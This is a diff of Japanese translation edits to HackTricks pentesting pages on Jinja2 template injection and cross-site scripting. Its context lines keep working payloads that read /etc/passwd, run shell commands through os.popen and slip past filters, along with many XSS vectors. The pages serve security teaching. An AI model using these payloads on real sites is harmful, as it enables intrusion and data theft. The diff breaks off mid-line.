```
|
```
|
||||||
### **すべての設定変数をダンプする**
|
### **すべての設定変数をダンプする**
|
||||||
|
@ -63,6 +64,7 @@ Debug Extensionが有効になっている場合、`debug`タグが利用可能
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
## **Jinja Injection**
|
## **Jinja Injection**
|
||||||
|
|
||||||
|
@ -82,11 +84,11 @@ request
|
||||||
```
|
```
|
||||||
### Recovering \<class 'object'>
|
### Recovering \<class 'object'>
|
||||||
|
|
||||||
次に、これらのオブジェクトからクラス **`<class 'object'>`** にアクセスする必要があります。これは、定義された **クラス** を **回復** しようとするためです。なぜなら、このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**サンドボックス化されていない** python 環境のすべてのクラスにアクセスできるからです。
|
次に、これらのオブジェクトから、定義された**クラス**を**回復**するために、**`<class 'object'>`**に到達する必要があります。これは、このオブジェクトから**`__subclasses__`**メソッドを呼び出し、**サンドボックス化されていない**python環境のすべてのクラスに**アクセス**できるためです。
|
||||||
|
|
||||||
その **オブジェクトクラス** にアクセスするには、**クラスオブジェクト** にアクセスし、次に **`__base__`**、**`__mro__()[-1]`** または **`.`**`mro()[-1]`** にアクセスする必要があります。そして、**このオブジェクトクラス** に到達した後に **`__subclasses__()`** を呼び出します。
|
その**オブジェクトクラス**にアクセスするには、**クラスオブジェクト**にアクセスし、次に**`__base__`**、**`__mro__()[-1]`**または**`mro()[-1]`**のいずれかにアクセスする必要があります。そして、**このオブジェクトクラス**に到達した後、**`__subclasses__()`**を**呼び出します**。
|
||||||
|
|
||||||
これらの例を確認してください:
|
これらの例を確認してください:
|
||||||
```python
|
```python
|
||||||
# To access a class object
|
# To access a class object
|
||||||
[].__class__
|
[].__class__
|
||||||
|
@ -123,15 +125,16 @@ dict.__mro__[-1]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Not sure if this will work, but I saw it somewhere
|
# Not sure if this will work, but I saw it somewhere
|
||||||
{{ [].class.base.subclasses() }}
|
{{ [].class.base.subclasses() }}
|
||||||
{{ ''.class.mro()[1].subclasses() }}
|
{{ ''.class.mro()[1].subclasses() }}
|
||||||
```
|
```
|
||||||
### RCE エスケープ
|
### RCE Escaping
|
||||||
|
|
||||||
**回復した** `<class 'object'>` と `__subclasses__` を呼び出したことで、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになりました。
|
**回復した** `<class 'object'>` と `__subclasses__` を呼び出したことで、ファイルを読み書きしたり、コードを実行したりするためにこれらのクラスを使用できるようになりました。
|
||||||
|
|
||||||
`__subclasses__` の呼び出しにより、**数百の新しい関数にアクセスする機会**が得られました。私たちは、**ファイルクラス**にアクセスして**ファイルを読み書きする**ことや、**コマンドを実行することを許可するクラス**(例えば `os`)にアクセスすることで満足します。
|
`__subclasses__` の呼び出しにより、**数百の新しい関数にアクセスする機会**が得られました。私たちは、**ファイルクラス**にアクセスして**ファイルを読み書きする**ことや、**コマンドを実行することを許可するクラス**(例えば `os`)にアクセスできるクラスを使用することで満足します。
|
||||||
|
|
||||||
**リモートファイルの読み書き**
|
**リモートファイルの読み書き**
|
||||||
```python
|
```python
|
||||||
|
@ -173,7 +176,7 @@ dict.__mro__[-1]
|
||||||
#### 一般的なバイパス
|
#### 一般的なバイパス
|
||||||
|
|
||||||
これらのバイパスは、**いくつかの文字**を使用せずにオブジェクトの**属性**に**アクセス**することを可能にします。\
|
これらのバイパスは、**いくつかの文字**を使用せずにオブジェクトの**属性**に**アクセス**することを可能にします。\
|
||||||
前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
|
以前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
|
||||||
```bash
|
```bash
|
||||||
# Without quotes, _, [, ]
|
# Without quotes, _, [, ]
|
||||||
## Basic ones
|
## Basic ones
|
||||||
|
@ -201,9 +204,10 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
* [**グローバルオブジェクトにアクセスするためのオプションについてはここに戻ってください**](jinja2-ssti.md#accessing-global-objects)
|
* [**グローバルオブジェクトにアクセスするためのオプションはこちらに戻ってください**](jinja2-ssti.md#accessing-global-objects)
|
||||||
* [**オブジェクトクラスにアクセスするためのオプションについてはここに戻ってください**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
* [**オブジェクトクラスにアクセスするためのオプションはこちらに戻ってください**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||||
* [**オブジェクトクラスなしでRCEを取得するにはこれを読んでください**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
* [**オブジェクトクラスなしでRCEを取得するにはこれを読んでください**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||||
|
|
||||||
**HTMLエンコーディングの回避**
|
**HTMLエンコーディングの回避**
|
||||||
|
@ -233,7 +237,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||||
```
|
```
|
||||||
## いくつかの文字なし
|
## いくつかの文字なし
|
||||||
|
|
||||||
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**なし
|
Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||||
```python
|
```python
|
||||||
{% raw %}
|
{% raw %}
|
||||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||||
|
@ -241,13 +245,14 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
## Jinja Injection without **\<class 'object'>**
|
## Jinja Injection without **\<class 'object'>**
|
||||||
|
|
||||||
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、**そのクラスを使用せずにRCEに到達する**別の方法があります。\
|
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、**そのクラスを使用せずにRCEに到達する**別の方法があります。\
|
||||||
これらのグローバルオブジェクトから**関数**にアクセスできれば、**`__globals__.__builtins__`**にアクセスでき、そこから**RCE**は非常に**簡単**です。
|
これらのグローバルオブジェクトから**関数**にアクセスできれば、**`__globals__.__builtins__`**にアクセスでき、そこから**RCE**は非常に**簡単**です。
|
||||||
|
|
||||||
**`request`**、**`config`**、およびアクセス可能な**他の**興味深い**グローバルオブジェクト**から関数を**見つける**ことができます。
|
**`request`**、**`config`**、およびアクセス可能な**他の**興味深い**グローバルオブジェクト**から**関数**を見つけることができます。
|
||||||
```bash
|
```bash
|
||||||
{{ request.__class__.__dict__ }}
|
{{ request.__class__.__dict__ }}
|
||||||
- application
|
- application
|
||||||
|
@ -267,7 +272,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||||
|
|
||||||
# You can iterate through children objects to find more
|
# You can iterate through children objects to find more
|
||||||
```
|
```
|
||||||
いくつかの関数を見つけたら、次のコマンドでビルトインを復元できます:
|
一度いくつかの関数を見つけたら、次のようにしてビルトインを復元できます:
|
||||||
```python
|
```python
|
||||||
# Read file
|
# Read file
|
||||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||||
|
@ -281,6 +286,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
||||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
||||||
{% endraw %}
|
{% endraw %}
|
||||||
|
|
||||||
|
|
||||||
## Extra
|
## Extra
|
||||||
## The global from config have a access to a function called import_string
|
## The global from config have a access to a function called import_string
|
||||||
## with this function you don't need to access the builtins
|
## with this function you don't need to access the builtins
|
||||||
|
@ -318,21 +324,21 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||||
* [ここでブラックリストに載っている文字をバイパスするattrトリックを確認してください](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
* [ここでブラックリストに載っている文字をバイパスするためのattrトリックを確認してください](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWSハッキングを学び、練習する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCPハッキングを学び、練習する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricksをサポートする</summary>
|
<summary>HackTricksをサポートする</summary>
|
||||||
|
|
||||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -20,7 +20,7 @@
|
||||||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
|
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
|
||||||
2. **HTMLタグ内で**:
|
2. **HTMLタグ内で**:
|
||||||
1. 生のHTMLコンテキストに抜け出せますか?
|
1. 生のHTMLコンテキストに抜け出せますか?
|
||||||
2. JSコードを実行する新しいイベント/属性を作成できますか?
|
2. JSコードを実行するための新しいイベント/属性を作成できますか?
|
||||||
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
||||||
4. 保護を回避できますか?
|
4. 保護を回避できますか?
|
||||||
3. **JavaScriptコード内で**:
|
3. **JavaScriptコード内で**:
|
||||||
|
@ -60,10 +60,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||||
|
|
||||||
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
||||||
|
|
||||||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)ことを試み、新しいHTMLタグを作成して悪用します:`"><img [...]`
|
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**全体を制御しているか一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、**どの属性**にあなたの値が反映されているか、**値全体を制御しているのか一部だけを制御しているのか**に応じて悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||||
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できるかもしれません(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
|
||||||
|
|
||||||
クラス名を制御している場合のAngularによるXSSの奇妙な例:
|
クラス名を制御している場合のAngularによるXSSの奇妙な例:
|
||||||
```html
|
```html
|
||||||
|
@ -73,10 +73,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||||
```
|
```
|
||||||
### Inside JavaScript code
|
### Inside JavaScript code
|
||||||
|
|
||||||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
|
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性の間に反映されます:
|
||||||
|
|
||||||
* **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから脱出しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析し**、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
* **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
|
||||||
* **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列を終了**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません):
|
* **JS文字列の中に反映されている**場合、最後のトリックが機能しない場合は、**文字列から脱出**し、**コードを実行**し、**JSコードを再構築**する必要があります(エラーがある場合は実行されません):
|
||||||
* `'-alert(1)-'`
|
* `'-alert(1)-'`
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
|
@ -104,7 +104,7 @@ Javascript Hoistingは、**関数、変数、またはクラスを使用した
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (711).png>)
|
![](<../../.gitbook/assets/image (711).png>)
|
||||||
|
|
||||||
脆弱性がある場合、**値を送信するだけでアラートをトリガーすることができるかもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
|
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
|
||||||
|
|
||||||
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
||||||
|
|
||||||
|
@ -156,8 +156,8 @@ parentElement
|
||||||
## 生のHTML内に注入
|
## 生のHTML内に注入
|
||||||
|
|
||||||
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
||||||
この場合も、**Client Side Template Injection**を考慮してください[**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\
|
この場合も、[**Client Side Template Injection**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
|
||||||
_**注: HTMLコメントは`-->`または`--!>`を使用して閉じることができます**_
|
_**注: HTMLコメントは、\*\*\*\***** ****`-->`**** ****または \*\*\*\*****`--!>`**で閉じることができます。_
|
||||||
|
|
||||||
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
||||||
```html
|
```html
|
||||||
|
@ -166,11 +166,11 @@ _**注: HTMLコメントは`-->`または`--!>`を使用して閉じることが
|
||||||
<svg onload=alert('XSS')>
|
<svg onload=alert('XSS')>
|
||||||
```
|
```
|
||||||
しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
|
しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
|
||||||
どのタグが許可されているかを**特定したら**、見つかった有効なタグ内で**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
|
どのタグが許可されているかを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
|
||||||
|
|
||||||
### タグ/イベントのブルートフォース
|
### タグ/イベントのブルートフォース
|
||||||
|
|
||||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらをすべて送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。
|
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。
|
||||||
|
|
||||||
### カスタムタグ
|
### カスタムタグ
|
||||||
|
|
||||||
|
@ -257,7 +257,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||||
|
|
||||||
### Inside the tag/escaping from attribute value
|
### Inside the tag/escaping from attribute value
|
||||||
|
|
||||||
もし**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
もし**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**して、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
|
||||||
もし**タグからエスケープできない**場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
|
もし**タグからエスケープできない**場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
|
@ -280,7 +280,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||||
|
|
||||||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||||||
|
|
||||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る</a>`
|
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタイムでデコードされます**。したがって、次のようなものは有効です(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る</a>`
|
||||||
|
|
||||||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||||
```
|
```
|
||||||
**これらのプロトコルを注入できる場所**
|
**これらのプロトコルを注入できる場所**
|
||||||
|
|
||||||
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` **属性を受け入れるタグで使用できます(ただし `<img>` は除く)**
|
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
|
||||||
```markup
|
```markup
|
||||||
<a href="javascript:alert(1)">
|
<a href="javascript:alert(1)">
|
||||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||||
|
@ -365,11 +365,11 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||||
```
|
```
|
||||||
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロード内で混ぜる**ことはできます。
|
注意してください、もしあなたが**両方を使用しようとすると** `URLencode + HTMLencode` どの順序でも**ペイロード**をエンコードすると**動作しません**が、**ペイロード内で混ぜることができます**。
|
||||||
|
|
||||||
**`javascript:`を使ったHexとOctalエンコード**
|
**`javascript:`を使った16進数と8進数のエンコード**
|
||||||
|
|
||||||
あなたは**Hex**と**Octalエンコード**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
|
**Hex**と**Octal encode**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言する**ことができます:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
|
@ -385,7 +385,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`と`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**:
|
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`および`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください**:
|
||||||
|
|
||||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||||
|
@ -394,7 +394,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||||
### イベントハンドラーのバイパス
|
### イベントハンドラーのバイパス
|
||||||
|
|
||||||
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
||||||
もしこのイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
|
このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:
|
||||||
```javascript
|
```javascript
|
||||||
<svg onload%09=alert(1)> //No safari
|
<svg onload%09=alert(1)> //No safari
|
||||||
<svg %09onload=alert(1)>
|
<svg %09onload=alert(1)>
|
||||||
|
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。Firefox Windows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。こちらがベクターです:
|
